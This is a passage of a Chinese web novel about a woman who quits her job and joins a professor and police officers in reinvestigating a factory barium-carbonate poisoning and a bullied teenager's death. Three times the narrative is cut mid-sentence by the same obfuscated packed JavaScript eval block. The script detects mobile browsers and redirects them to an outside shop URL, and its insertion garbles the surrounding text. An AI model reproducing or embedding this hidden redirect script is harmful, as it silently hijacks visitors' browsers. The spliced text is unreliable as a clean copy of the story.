说完,雎安拿起手机和包包,步伐坚定地往门外走。 “站住!我没想到,你还挺自恋啊你~”卢宇年气急而笑,“你怎么不说这世界是围着你转的?” 雎安本不想恋战,可又觉得吃这亏会让她事后反刍,还不如当下怼回去,爽快得多。 于是,她回过身,摊开手,嗤笑道:“没错,由我展开的世界,就是围着我转的。” 这回,不等雎安说完,卢宇年就凑着她的尾音,冷嘲道:“行,你自恋,你牛!可你再自恋,你也不能现在走,还没到点下班,就算你要离职,也得提前30天提出申请。” “哦。”雎安真诚发问,“我不按流程又怎样?一没有违约金要赔,二我不怕未来就业,至于第三点......如果你们扣留我的档案,不给我开离职证明的话,我也可以仲裁。” 其他同事听得一愣一愣的,廖欣在打印机前暗暗佩服,猜想雎安早就想离开公司了,不然不会提前看合同、也不会知道如何维权。 “综上所述,老娘不干了!” 雎安喊出最后一句话的时候,当真是前所未有的爽快,有种打通了人生的任督二脉的感觉。 她转身,准备以最帅的姿态离开这家公司,却恰巧看到了站在门口的汤晴。 汤晴这趟回公司,是想来提离职的,看到一向隐忍、将自己的存在感一再压低的雎安突然如此,看向雎安的眼眸中满是钦佩和诧异。 被这么多人注视着,雎安也不怕尴尬,上前问道:“你还好吧?” 汤晴还没完全回过神来,木讷地点了点头。 “那就好。”礼貌性地问完好,雎安离开了这家从她毕业干到现在的公司。 “她怎么突然变得这么牛了?”有一个同事看着雎安的背影,那昂首阔步的姿态,朝着廖欣的方向发出更像是感叹的疑问。 廖欣瘪了瘪嘴,玩笑道:“不知道,兴许是中彩票了。” 热闹看完,她实在无闲事可做了,必须回办公室了,她下意识地看向戴清和卢宇年,怕自己的小动静会惹人注意、会惹得上司和太子爷生气。 然而,戴清出乎意料地冷静,眼中没什么情绪,卢宇年也不像她印象中的那般暴跳如雷,而是看着雎安离开的方向,缓缓地勾起了唇角,仿佛......还有些开心? 太可怕了。 廖欣打了个寒颤,默默为雎安祈祷。 “阿嚏!” 炎热的夏天,雎安走在街上有要中暑的感觉,却突然打了个喷嚏。她猜想,这是卢宇年在骂她。 不过,无所谓了。 提出离职这件事,虽然是意外,但也符合她的预期。她的未来岌岌可危,她的时间有限,有很多事等着她去做,待在一间没什么上升空间的小公司里浪费时间,本就不是明智之举。 原先她还打算请假赴约,现在正好,直接去就行了。 她约的人是宋教授。 准确来说,是宋挚约的,再准确点,是装置里的宋挚约的。 “宋教授,你好~”雎安打开车门,坐进了副驾驶,“麻烦你了。” 宋言林笑笑,“怎么会是麻烦?这件事和我妻子的死有关,还与我和我儿子的未来息息相关,再说了,是我和阿挚联手把你拉进来的,真是辛苦你了!” “哪里的话。”雎安也不是客气,“这件事和我的生死挂钩,本就是该我操心的事。” 突然,雎安注意到她身后的座位上还有一个人,吓了一大跳。 “雨姐?!”雎安捂着胸口,却是朝着宋教授的方向问道:“雨姐怎么在这?” 宋教授见雎安反应极大,赶忙解释道:“思雨知道装置的事,不用担心。” “啊?”雎安感到诧异。 陈思雨朝雎安微微一笑,主动解释道:“我研究装置的时候就发现不对劲了,结合宋教授进入装置实验后的反应,我就找宋教授聊,但教授一直打哈哈,直到你来实验,我更加确信我的想法,找宋教授挑明了装置并非完全独立于现实的猜想。” “教授终于坦言,并告诉我,导致我母亲死亡的碳酸钡中毒案,真凶存疑,并且我会在2026年被人下毒,患上毒瘾后过得生不如死。” 被人下毒?! 雎安蹙眉,问道:“你知道是谁给你下的毒吗?” 陈思雨点头,“廖学文。” “宋教授还告诉我,2026的你帮了我很多,为捣毁制毒窝点还付出了生命。” 雎安眉头紧皱,感叹道:“没想到廖同学会做这种事。” 就像她万万想不到给她下毒的人会是沈薇。 “我倒不太意外。”陈思雨意外得冷静,“廖学文的人品不太行,从他的日常行为就能看出来,尤其是细节,细节是很难装的。” “只不过,他针对思雨这一点,倒让我意外。” 宋言林启动车子,驶离了停车场,“思雨虽然高冷、不善交际,但为人善良随和,我思来想去,猜想他是嫉妒思雨。至于能搞到毒品这一点,他将装置的资料出售给了卢宇年和卢震南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以……”雎安一边解安全带,一边把话说完,“我们认为从黄斌那获取消息,属于风险较小、且是最可能会有意外收获的途径。” “也是。”宋言林将车门锁好后,给予肯定道:“他进厂的时间能和毒品出现的时间对上,而他在工厂里呆了这么久,厂里要是有猫腻,肯定有所耳闻,而且他还是中毒案的当事人,找他总比随便找个人要强。” 陈思雨没了顾虑,“也是,随便找人问话更危险。” 下车后,雎安左看右看,甚至都没留意宋言林和陈思雨在说什么,因为眼前的景象实在是过于熟悉。这里的布局和房屋外观,和南林社区的老街区如出一撤。 他们的头顶上都是杂乱无章、错综复杂的电线,两侧房屋的窗台上摆满了许多小盆栽和的坚果干货,像是约定俗成般默契。 三人穿过上坡道,走过两条过道中间挂满了衣物的小道,终于来到了一条较为宽敞整洁的大道上。 “我还纳闷呢,在这么窄的小道里开店,会有人来这吃汤粉吗?”雎安看了眼汤粉店的牌匾,无奈道:“十有八九是导航出错了,想带我们走最短距离,结果路太窄,车过不来。” “嗯,多半是。”陈思雨附和。 雎安感到奇怪的,是宋教授没回应她,毕竟这是他开的车。于是,雎安好奇地看向宋教授,发现他正盯着斜前方,眉头紧锁,表情严肃,不知道在看什么。 这激起了雎安的好奇心,追随他的目光望去,看到了宋挚、周浮沉和梁询。 而让她最难以忽视的,是宋挚的目光、探究中带着些不可置信,就好像......她背叛了他一样。 83. 碳酸钡中毒案 “事情就是这样。” 周浮沉向王屹汇报,将宋挚和工厂案的联系和情况一五一十地告知。 “我查看了碳酸钡中毒案的卷宗,发现确实有古怪。黄斌一开始并不认罪,坚称自己并不知道装发酵粉的袋子里有大量的碳酸钡粉。事实上,他摄入过量,确实抢救了很久,医生说他当时情况非常得危险。” 王屹双手抱胸,向后靠在座椅上,“也未必,或许他本来就不想活了。” “确实不排除这个可能。” 周浮沉嘴上这么说,心里却不太认同。 “因为出事的工厂有些年头了,很多东西坏了也没换。事发之后去调监控,发现厨房内部的监控坏了,最重要的备餐间的摄像头就是个摆设,用餐区的监控也坏了三个,而那些没坏的监控画质都很模糊。记录显示,当时的专案组把事发前近七天能看的监控录像都看了,也没发生什么可疑的人和事。只能凭用餐区的左侧的一个监控处看到,馒头确实是黄斌做的,但他全程没有什么奇怪的动作和行为,和他每天做馒头的过程无异,是无法排除他人调换发酵粉、借刀杀人的可能的。” “现场勘察人员也有将厨房里厨具、面粉袋之类的都带回去检测,只在发酵粉的袋子里发现碳酸钡粉,其他都没有。检测的时候一并测出了不少人的指纹和毛发,里边有面点师傅的,也有打饭阿姨、清洁工和搬运工的。” “有查餐桌吗?我记得档案写的是,他们在聚餐,那该是一起吃的饭菜。”王屹问道。 周浮沉回答:“有,是有查过受害人的用餐桌面和餐具,也没有发现硫酸钡粉。不过值得注意的是,他们用餐时间接近凌晨,上早班的人早就下班了,夜班的人又才刚上班,所以食堂里只有他们一桌。黄斌说馒头是晚餐时间就做好的,之前吃过的员工都没事,最后一笼给受害者一桌当夜宵配小菜吃,就受害者那一桌和黄斌中毒了。他还说,要不是因为他饿,偷摸着吃了三个,他也不会中毒。” “所以,黄斌一直在说,要是他没嘴馋,他的嫌疑最大,这是有人要嫁祸给他。” 王屹抬手,阻止周浮沉说下去,垂眸思考片刻后,问道:“这场聚餐是谁组织的?” 周浮沉一愣,这不在他准备的范围之内,故而回忆了好一会儿,又当场翻开卷宗确认。 “根据幸存者的口供,他们说没有特意约,就是饿了,碰到就一起吃个饭。而黄斌不在餐桌上,是在厨房里,邓玉瑛则是因为黄斌的事而来工厂找黎峰要说法,正好黎峰在餐桌上吃东西,她就坐下来谈了。” 周浮沉说着说着,也觉得奇怪,“如果不是特意约在一起,那黄斌是下毒者的可能性会变大,除非凶手不在乎毒的是什么人,没有特定目标。” “也不一定。”王屹的手肘撑在桌上,目光锐利地补充道:“凶手的目标也可以只是其中一个人,而那个人的生活轨迹固定,很容易预测。” 周浮沉暗暗点头,“好,那我找个时间去问问幸存者,了解一下案件细节和他们的想法。” “行。” 王屹想到前不久调查李豫渎职的事,便对此产生了担忧,要是尸检结果被李豫篡改,不知道真正死因,重新调查起来会相当棘手。 “确定死因是碳酸钡中毒吗?负责解剖的法医是谁?” “死因大概率是无误的。” 周浮沉将三份卷宗放在王屹面前,“李豫多数篡改的都是伤情鉴定,大多是交通事故。比如这个,根据受害者提供的医院检查单和伤情鉴定的最终结果来看,轻微伤是不成立的,应该是轻伤一级。” 周浮沉先指了左边第一份,然后又指向第二份,“这个交通事故也是,鉴定结果为轻伤二级,受害人不服,要求重新鉴定。结果,鉴定结果还没出,受害人就因病去世了,受害人家属获得巨额赔偿并出具了谅解书,最终肇事者没有被起诉。” “我听梁询说,就是这个案子做的太明显,李豫才被盯上的。”周浮沉观察王屹的反应,接着说道:“李豫篡改鉴定结果的案件,对象基本都是有钱人,比如第一案的肇事者是黎峰,他正巧是碳酸钡案件里那个工厂的厂长。至于第二案的肇事者......” 周浮沉停顿了会儿,接着说道:“是我以前的朋友,卢宇年。他们家经商的,很有钱。华州市安娜维诺化妆品有限公司的董事卢震南,就是他爸爸。” 闻言,王屹深深地看了他一眼,指着最后一份碳酸钡中毒案的卷宗问道:“那这个呢?” “这个案件的物证应该没什么问题,不像有被篡改过什么。尸体送至解剖室的那天,工作记录显示李豫已经连续加班了七八个小时,本案只是帮忙做拍照记录。负责解剖的是刘定鑫法医,进行毒物分析的也是刘法医。” 王屹并不放心,“事发以后,去到现场的法医是谁?” “也是刘法医。” 周浮沉接着说道:“当时一桌子人吃完后,没多久就腹痛难耐,一开始大家都以为是食物不干净引起的急性肠胃炎,还以为拉拉肚子就能顶过去。直到有人感觉呼吸困难,还有人开始抽搐,才发现不对劲,赶忙叫了救护车。医院初步诊断为中毒,但不知道是什么毒素的时候,附近的派出所民警就去控制现场了,刘法医也第一时间去到现场勘察。” “如果排除有人事先去到现场毁灭证据的可能,这个案件的物证没有什么问题,只是无法仅凭物证锁定凶手而已。” 王屹对刘定鑫法医足够信任,她毕业后考进公安系统,矜矜业业十三年,专业素质过硬,也敢于承接最危险最艰巨的任务。 说实话,王屹很佩服她,她好像总憋着一股劲、怀抱着一种理想在工作,并且能这么长时间不泄气。 王屹还记得她刚进警局那会儿,话不多,但只要一有人陶侃她的女性身份和婚嫁事宜时,她就会毫不犹豫地怼回去。而且她身体力行,为了事业,十三年都没有结婚生子,偶尔听闻她恋爱了,过不了多久就会听到她因为太忙而分手。 “那最后黄斌是怎样被定罪的?”王屹对案件有印象,但细节却不了解,更没想到查个交通撞人案居然牵出另一宗大案子。 “后来警方调查的时候发现,黄斌和被下毒的人多有矛盾,是有足够的杀人动机的。他曾因为被克扣工资的事和主任黎峰起过争执。还有好几次他申请好假期,因为有人要来工厂参观,黎主任就以他的厨艺较好为由,让他回来工作。不过,员工说主任总是这样,也不止对他一个人。还有车间里的吴秀英好像拜托他帮过什么忙,被拒绝后就拉着其他同事一起排挤他,好几次在人前说他是外地佬,嘲笑他是个一无所有的光棍。” “这不足以定罪。”王屹肯定地说道。 周浮沉也赞同,“对,所以案子拖了一个多星期都没进展,就在大家都快要放弃的时候,重案组重新侦查,结果在黄斌的家里有了新发现。” 王屹一边快速地翻看卷宗,一边听周浮沉汇报。 “他们在他的衣柜底下发现了一个暗格,里边是黄斌偷拍邓玉瑛和一众女员工上厕所的照片,猜测黄斌是个偷拍惯犯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562030|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并且可能对邓玉瑛有非分之想。听说他在工厂的工作还是邓玉瑛好心介绍的,他因为学历低,在华州没人脉,嘴又笨。之前他工作的工厂倒闭后,失业了一年多都没找到工作。所以,偷拍这件事一出来,原本与他没什么瓜葛的女性受害者,里边就很有可能有被偷拍的,说不定是发现后和黄斌对质过。事情要是闹大,他肯定会被开除,这就对他造成了很大的威胁。” 这样,黄斌的嫌疑便直线上升。 只是,王屹的大脑飞速运转,觉得此事合理却又不合理,也不知是不是受到宋挚那件事的影响,就总是会让人怀疑其中必有蹊跷。 “再来,警员还在暗格里发现里边有不少白色粉末,经过检验。发现了硫酸钡粉,硫酸钡常用于制作化妆品,和碳酸钡粉不一样,但硫酸钡粉出现在黄斌家里,也很奇怪。” 周浮沉将准备好的产品图片放在王屹桌上,王屹看一眼,想起宋挚收到的防晒牌子也是这个,logo是草书的扶光,包装简约大气。 除此之外,女孩子用的东西,他看不出有什么特别的。 周浮沉接着说道:“邓警官和黄斌说检出的是硫酸钡粉,黄斌还是一直哭,坚持说有人陷害他,他并不知道发酵粉是怎么变成碳酸钡粉的,没拍过那些照片,也没投毒。” 周浮沉想了想,发现自己遗漏了一点,补充道:“那些偷拍的照片,没有任何人的指纹,明显是被人擦拭过的。其实我也觉得奇怪,如果是他拍下并洗出的照片,他为什么要提前擦拭得一干二净?如果是早有预谋的投毒,事前准备的时间充裕,为什么不干脆把这些全都处理掉?” 听到这,王屹手揉了揉眼睛,不知是眼睛花了,还是夜深人困了,叹了口气道:“还是存疑啊~” 周浮沉颔首,按原定的思路说道:“所以,当时还走访调查了工厂的女性,按道理来说,那么多的偷拍照片,应该有人有所察觉的。结果也不知是羞于启齿,还是什么原因,只有零星几个女性开口,但怀疑的人却不是黄斌,而是另一个工人赵旭。” “她们说这个赵旭总是动手动脚的,很多人都讨厌他,但是他和厂长黎峰的关系好,一直有恃无恐。然后,就又去查了这个赵旭,发现他曾因在公车上猥亵女高中生而被拘留。不过,他拒不承认做过偷拍之类的事。” 汇报接近尾声,周浮沉表情严肃地总结道:“因为黄斌被拍到了做馒头的过程,证实馒头确实是他做的。法官认为他有足够的作案动机,但本案仍存在诸多疑点,碍于没有直接证据,所以不能定为投毒罪。但即便黄斌是被人利用了,被更换后的淀粉和发酵粉在存量上和原本存在不同,黄斌应当预见被人调换的可能并避免悲剧发生,但他没有,由此造成包含他本人在内的五死五伤为事实,最终被判过失杀人罪,判三缓三。” 周浮沉说完,长舒一口气,紧绷的神经暂时放松下来,庆幸自己理了两遍才来汇报,中间没有出错。 王屹察觉到周浮沉的情绪变化,抬眸看了他一眼,注意到他浓重的黑眼圈和眼中透露出的疲惫后,又看了眼时间。 早上七点,天都亮了。 于是,王屹做了最后的指示,“这个案子当时成立了专案组,梁询就在组里,你和他多了解当时的情况,这案子就交给你和梁询负责,有情况及时汇报给我。” “好。” “等等。”见周浮沉有即刻行动的起势,王屹用极其严肃的表情提醒道:“你先回去睡一觉,要是累病了,会拖团队后腿。” 周浮沉颔首,应了声好。 84. 黄宇恒,黄宇恒爸爸! 清晨,她环抱着他,不许他离开,要他履行承诺。 如今,她却站在他的对面,快速地看了他一眼,便转而去看周浮尘和梁询,然后又侧身和宋教授说了些什么,没有显露出任何异样。 他倒成了扭捏的那一个。 “他们怎么也在这?”宋言林万万没想到会在这见到宋挚,自顾自地问了出声。 雎安也很意外,但当她看到周浮沉和梁询也在场的时候,瞬间回想起上次他们在快递站的事,他们查的快递包裹和黄斌有关,调查的案件也是碳酸钡中毒案。 同一时间出现在这,好像不是什么惊奇的事。 于是,雎安微微侧头,将她之前的所见所闻和方才的猜测告诉了宋言林和陈思雨。 “那我们要和他们一起吗?”陈思雨询问道:“还是敷衍过去就行了?” 雎安思忖半晌,道:“雨姐,我们就说是来这查你母亲那起案件的真凶。至于你为什么会怀疑真凶另有其人,是因为你本身就存疑,加上做实验的时候,我在装置里碰到过黄斌嘛,他人很好,人品是没什么大问题的,而且你还听到我说宋挚他们查快递的事,所以就更加怀疑了,就拜托我和教授一起帮忙调查。” “这样说,OK吗?会不会有逻辑漏洞?” 雎安并没有就此拍板,而是询问他们的意思。 宋言林和陈思雨听着没问题,接受了雎安设定的原因和背景,三人迈步走向汤粉店。 “他们嘀嘀咕咕地在说什么呢?”梁询的刑警直觉告诉他,对面三个人的状态有些奇怪,“好像怕我们审问,提前串供一样。你们不是认识那女生吗?” 梁询当然记得雎安的名字,但他没说出来。 “不管他们,我们是来查案的,正事要紧。”周浮沉说完,轻拍宋挚的后背,提醒他该进店了。 缓刑期间,黄斌在一家名为“霞姐汤粉店”的店铺里当传菜员,也就是他们眼前这家甚是破旧的老店。然而,破归破、老归老,店铺内里陈设简洁,环境卫生相当不错,生意更是火爆,接外卖单的机器人提示声就没停下来过。 于是乎,堂食的空位只有一张大桌,雎安三人和宋挚三人就只能拼桌了。 “来!这三碗是猪脚粉加卤蛋,这三碗是牛腩粉加小肠。”黄斌干活极其麻利,“你们自己分啊~” 不过十几秒,黄斌完成了上菜,雎安见他忙前忙后,暂时是不可能有空接受他们的询问的,便将注意力转移到了眼前的这碗汤粉上。 雎安实在是饿了,汤粉的卖相又实在诱人,她也没管汤粉不断冒着热气,直接伸手去触碗,想先端给宋教授和陈思雨,自己好开动,谁知碗身的温度完全超出了她的想象,烫得她迅速缩回了手,嘴巴呼呼地给手指吹气。 “你还好吧?”同桌上的所有人都在注意雎安,只有陈思雨出声询问,“要不要带你去附近的收龙头那冲冲凉水?” “不用不用。”雎安展开自己的手指给陈思雨看,“我看黄斌端得这么轻松,以为不是很烫,结果没想到……不过也还行啦,我收手收得快,手指也没有刺痛的感觉,问题不大。” “他一看就是干粗活的,早就习惯了。”梁询伸手去拿一次性筷子,“你的嫩皮肤肯定顶不住啊。” 其实,在被烫到的那一刻,雎安想的不是她怎么这么不小心,而是在唏嘘黄斌的人生境遇。 据她所知,他的生活好像就是没什么起色,一直贫穷,好不容易经由邓老师介绍进厂,以为可以稳定下来,结果被人嘲笑针对,还被欠薪辞退。现在又在一家汤粉老店里打工,还是一眼就看出是工资很低又很累的那种苦工。 不过,此刻他的脸上是有笑容的,而且是那种辛勤劳动后露出的满足而踏实的笑。比她在装置里碰到的2017年的他,眉间都要舒展得多。 兴许,与他而言,比起待在那总被人低视的大工厂里,还不如待在小店里勤勤恳恳地劳动、和老顾客寒暄。 塞翁失马,焉知非福。 有时候,她总是容易以怜悯者的身份,高高在上地观察其他人,觉得他们可怜,感叹他们的人生为何如此。殊不知,以他们的生活经历和学识认知,当下的生活就是上天的礼物。 她还是管好她自己吧。 餐桌上,六人异常默契地低头嗦粉,都不说话。 直到大家用餐完毕,周浮沉主动问起宋教授,他们为什么会在这,陈思雨才按着准备好的话回答,最后,还反问了他们一句。 “那你们呢?你们怎么在这?” 周浮沉和宋挚对视一眼,谁都没说话。 周浮沉是觉得,这事谈不上保密,对面的人也还算可以信任,要不要分享信息,由宋挚决定。 而宋挚垂眸思考,不知在思量什么,话语好似在喉间打了几个转,犹豫许久,才把他收到快递、和委托周浮沉调查李豫,以及李豫死亡、线索中断的事都说了出来。 “你们呢?”宋挚询问时,视线不自觉落在雎安身上,可很快,他便转向了陈思雨,“有什么信息可以分享吗?” 陈思雨刚刚已经把能说的都说了,而她又不擅说谎,故而下意识回避宋挚的视线,转头寻求雎安的帮助。 “没了。”雎安接得很快,“我们就是因为信息不多,才想着来问问黄斌,看看有没有可能收集一些证据,重新立案调查。” 透过对面三人的反应和表情,雎安肯定,梁询信了,周浮沉半信半疑,而宋挚则是完全不信。 雎安也不知道自己是哪里存有破绽,看没有人提出疑问,索性当他们全都信了。 “阿叔。” 黄斌没反应。 “黄宇恒爸爸!” 中午14点,店里的客人走得差不多了,外卖接单的声音也终于消停,恰巧黄斌在她们身边经过,雎安直接叫住了他。 他明显很吃惊,甚至可以用震惊来形容。 “你在叫我?”黄斌手指自己,往前走了几步。 雎安用力地点了点头。 “你认识宇恒?” “没错,我和他是初中同学,也是高中同学。只不过......我们不在一个班,不是很熟悉。初中的时候,因为叶老师的关系,我才知道的他。然后,高中的时候......” 因为她曾撞见过黄宇恒被霸凌。 这段回忆,她原本已经忘了,却因为去到装置,重新经历了一遍,才惊奇地发现,她在现实中见过那个和她在叶老师家里吃饺子的少年,只不过他后来剃了清爽的寸头,露出了他的额头和完整的五官,以至于她没能认出他挡着半张脸的样子。 她记得,那天的晚霞是橙黄色的,与校道上的暖光灯交织在一起,很是温馨。 她独自一人走在校道上,左侧是草丛,草丛里还有一只猫在躺着休息,右侧是一堵矮墙,矮墙内侧便是教学楼一楼的教室,而她,坚定地朝着目标食堂快步进发。 黄宇恒就是在这时出现的,以一种她完全想不到姿态,突然从上边掉落,甚至差点砸到了她。 矮墙虽不高,但从上边摔下来,伤得不会轻。 从他用力咬唇、收手捂着腿,发出呜呜的痛声看来,雎安更加肯定她的预测。 “同学,你还好吧?” 雎安在询问前,往上看了眼,以确保不会再有人掉落而砸到自己。 没错,她是发现了三个人,但他们探头打量、嬉闹取笑的姿态,完全就是在看热闹。 其中有一个男生极其扎眼,他的面部轮廓硬朗,头发是标新立异的挑染小蓝毛,身上还佩戴着许多银饰,上半身校服是私改过的样式,非常符合不良少年的设定。 这是……校园霸凌? 当前的情况,雎安觉得只有这个猜想能够成立。 “你的鼻子在流血。” 此时的雎安已经没有了初中那会儿的莽撞和勇敢,她没有去骂墙上的那些人,甚至担心自己会不会也被针对,有想迅速逃离现场的冲动。 可出于良善的本能,她没能视而不见。 “我带你去医务室吧。然后,如果你告诉老师的时候需要证人……可以找我。” 黄宇恒艰难地坐起身,抬起了头,鼻子仍在流鼻血,右侧脸还有划伤。 他看向她的眼神里,满是警惕和防备,甚至……有一些敌意。 是觉得她碰见了他难堪的样子,所以反倒对她的善意产生了敌意吗? 他的这个反应,雎安可以理解,却不能接受。 “我叫邹雎安,如果你需要我帮忙,晚上七点左右,可以在三食堂蹲到我。”雎安找了个借口,“我突然想起来,还有事没解决,先走了。” 雎安没说自己的班级。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雎安没说谎,这巷子里真有家出名的热干面老店,而曾老师先是面露不解,而后几秒,意识到可能是学生在求助的时候,他毅然决然地走了过去。 黄宇恒其实是个五官精致的少年,即便剃了寸头,肤色有些黑,却仍然无法阻挡他的帅气,兴许是一有空就要帮着黄斌干活的缘故,他的身型看着十分紧实,倒像个时常打篮球的青春少年。 可惜了,就是给人的感觉太阴郁。 曾老师暗自感叹,在不要给自己找麻烦和守着初心之间,最终选择了守护初心。 他坚持要帮黄宇恒解决问题,“你班主任知道吗?父母知道吗?” “你脸和手上的伤,是他们造成的吗?” 黄宇恒低着头,不发一言,曾老师放低了声音,仍劝说道:“如果你遭受了长期且如此恶劣的霸凌,你的班主任消极处理,或处理得不好,亦或是他们坚决不改的话,是可以报警的。” “对啊。”雎安也劝道,“你不要没试过就觉得不行,一定要反抗!他们就是觉得你不敢才这样肆无忌惮地欺负你。” 雎安猜想他可能有过失败的经历,语气变得笃定,也更加激动,“就算试过一两次,效果不好,也不能放弃!越是艰难时,越需要勇气和毅力,越是不容易改变,改变后就越是能脱胎换骨、迎来新生。” 这是她在暑假时读了许多世界名著后悟出来的道理。 越是有价值、值得为之拼搏努力的事,往往越艰难。行进途中就会筛掉绝大部分人,这部分人会埋怨命运不公。 没错,埋怨很普遍、很正常。 但角逐顶峰的人经过了跌倒后起身、思考后改进的大量重复过程,成为了“一览众山小”的存在。 而这有价值的事,并不都是成为上市公司老板那样遥不可及的事,很多时候,它反倒体现在日常生活中的小事里。 “好的,谢谢老师关心。” 黄宇恒道完谢,没管曾老师的反应,转身走到雎安面前。 雎安一惊,抬起头看他,这才发现他竟然比她高了一个头,肩宽似乎几近她的两倍。 神奇的是,她没有感受到一丝压迫感。 他的眼眸澄澈得如同湖中清波,他告诉她:“你放心,我不会放过他们的!” 85. 床垫忽地往下一沉 突然下起了雨。 因为雨伞只有两把,一把给了两个女生,另一把则给了长辈宋言林,而宋言林则极其自然地让宋挚为他撑伞。 黄斌则用塑料袋套头,走在最前门带路,带他们去他家坐会儿。 方才,雎安和同行人提议,待会儿去到黄斌家里再聊工厂案的事。 在场的人没有异议。 毕竟,他们的眼睛都没瞎、人也没那么肘,看得出黄斌和老板娘霞姐之间有些不寻常,以免霞姐不知道黄斌之前的事,给黄斌添不必要的麻烦。 黄斌的出租屋就在汤粉店后的巷子里,巷子口很窄、内里却很深,且错综复杂、岔路口极多。从汤粉店到出租屋,他们走了十分钟。 本以为可以坐下来聊聊,可黄斌的出租屋过于狭小,目测不到二十平,进门右边是一张床,床头之上装有空调,床中间的正上方有一个透气的窗户,床尾有一个小地方拿来放置纸巾、游戏机和五六本被翻烂了的物理化生的高中课本,床侧摆放着一个加长的老式长板凳,右侧则是简易厨房、简易洗手间、而洗手间是室内唯一隔开的独立空间、就它有个门。 雎安扫了眼整个屋子,终于发现了奇怪之处在哪。 黄斌的出租屋小而旧,但东西不多、十分整洁,床位处却摆着一罐乌漆麻黑的腌萝卜,以及一盒有着明显破损痕迹的月饼盒。 此时,黄斌忙前忙后地在右侧清理出一个位置来,找到并打开了一个黑色的老式桌板,并给他们拿来塑料凳,而实在坐不下的,就让男生坐在他的床上。 反正室内就这么大,坐哪都听得清。 “阿叔,你还没回答我的问题呢?”雎安扫了眼室内陈设,有种不好的预感,“黄宇恒他人呢?现在在哪工作?” 黄斌扫了雎安一眼,缓缓坐下,“他死了。” “啊?!” 雎安还是听到了最不想听到的答案,惊得从椅子上弹起。 “发生了什么?难道那帮男生恶劣到了杀人的地步?!” 雎安的激动和黄斌的沉静形成了鲜明对比。 好半晌,黄斌才开口:“没有,但他们的行为,和杀人也差不了多少。” 明明空间如此狭小,黄斌的左右侧都坐着人,可却给她一种他独自坐在海边、面前是一望无际的海水般的孤寂和无助。 他叹了口气,眼眸中“孤寂”逐渐被一种名为“悔恨”的情绪冲散。 “因为我是外地人,来到华州打工,从一无所有开始打拼的,即便到他读高中的时候,我的积蓄也不多,要供他读大学的话,就得加倍努力、省吃俭用。” “起初,他还会和男同学起矛盾打架,我还因此付了医药费和精神损失费。所以,自那以后我就总和他说,凡事忍一忍,不要和人起矛盾,我们没家底,这就是我们的生存之道。没想到......”黄斌的眼眶倏地一下就红了,“这句所谓的忠告,竟然会害了他!” “他在学校被人欺负到......竟然被人从推到墙上、再推下来,还有殴打,各种!导致他内脏受损,吐了血,被老师送到医院,我才知道事情竟然这么严重!” “当时,老师当着我的面质问那些男同学,问他们为什么要这样针对宇恒。他们竟然一点悔过之意都没有,没理也硬要找理!说宇恒是小白脸,说他装高冷,说他独来独往,说他不合群!” 雎安垂眸,咬紧了后槽牙,“这些哪里是黄宇恒的错?” “我当时不顾老师劝阻,报了警。”此刻,黄斌的呼吸好似都带着颤声,“我看宇恒当时非常惊讶,还哭得上气不接下气,这才意识到,他受了这么多难,心里有多难过。” “只可惜,警察说取证难,那三小崽子又是未成年,其中一个叫冯志的,他爸妈都是知名律师。最后,这件事不了了之。” 黄斌深深地叹了口气,失望的情绪化作一根针,狠狠地扎了他的心。 “好不容易鼓起勇气维护自己的孩子,却是这样的结果。我很失望,我也看得出宇恒很失望。他躺在家里修养那段时间,情绪很差,我尽量抽时间陪他,只是.......什么都得花钱,他一直劝我出门工作吧,我也就没陪他太久。” 隐隐的,雎安心中又有了不好的猜测,可这个猜测和黄宇恒和她的话并不契合,遂摇了摇头,否定了自己的猜想。 “期间,我得知欺负他的那帮人回了学校,没事人一样。我很生气,还去找了老师,可老师说她也没办法。”黄斌眼底一片愤愤,“远远的,那几个小崽子还隔着玻璃窗对我使鬼脸。” “回去以后,我很气愤,把这件事情告诉了宇恒,提议给他转学。” “他说好。” 以目前的事态发展,虽然没能让恶人得到惩罚,但对黄宇恒来说,一切都在向好发展。所以,到底为什么会出事呢? 在场的人垂眸低头,眉头紧蹙,心中都产生了疑问。 很快,黄斌便给出了答案。 先是一声极为沉重的叹息,紧接着,便是黄斌低哑的声音,“三天后,宇恒说要回学校收东西,我担心他,说要陪过他。他应了好,却没等我一起,我急匆匆地跑到学校,老师却说没看到他有回来,当时我心咯噔一下,预感很不好,老师也很紧张,加了几个老师找宇恒。可是,我们找了五六个小时都没找到宇恒。他失踪了,而除了宇恒,那三个小崽子也不见了。” “老师报了警,警察调查了三天、查了很多监控,结果是华江附近的监控拍下了他们坠江的整个过程。” 黄斌喉间一哽,有一瞬,竟是说不出来话,缓了好一会儿,才接着道:“宇恒拼了命地拿刀刺向他们,刺死了两个小崽子,最后一个叫冯志的因为有所防备,反手将宇恒推下了江,宇恒一把扯住裤子,把他带了下去。” 黄宇恒心里没能放下,无法原谅他们,选择了言出必行。 当时的雎安以为,他目光如此坚定地说出了那句话,便会像励志电影主角般觉醒,开始无所畏惧、张牙舞爪地“撕咬”一切欺负他的人和事,一步一步达到崛起。 她没想到会是这样。 “我的傻孩子啊~”黄斌终于大哭起来,哭得泣不成声,“那些烂人哪值得他付出生命?!” 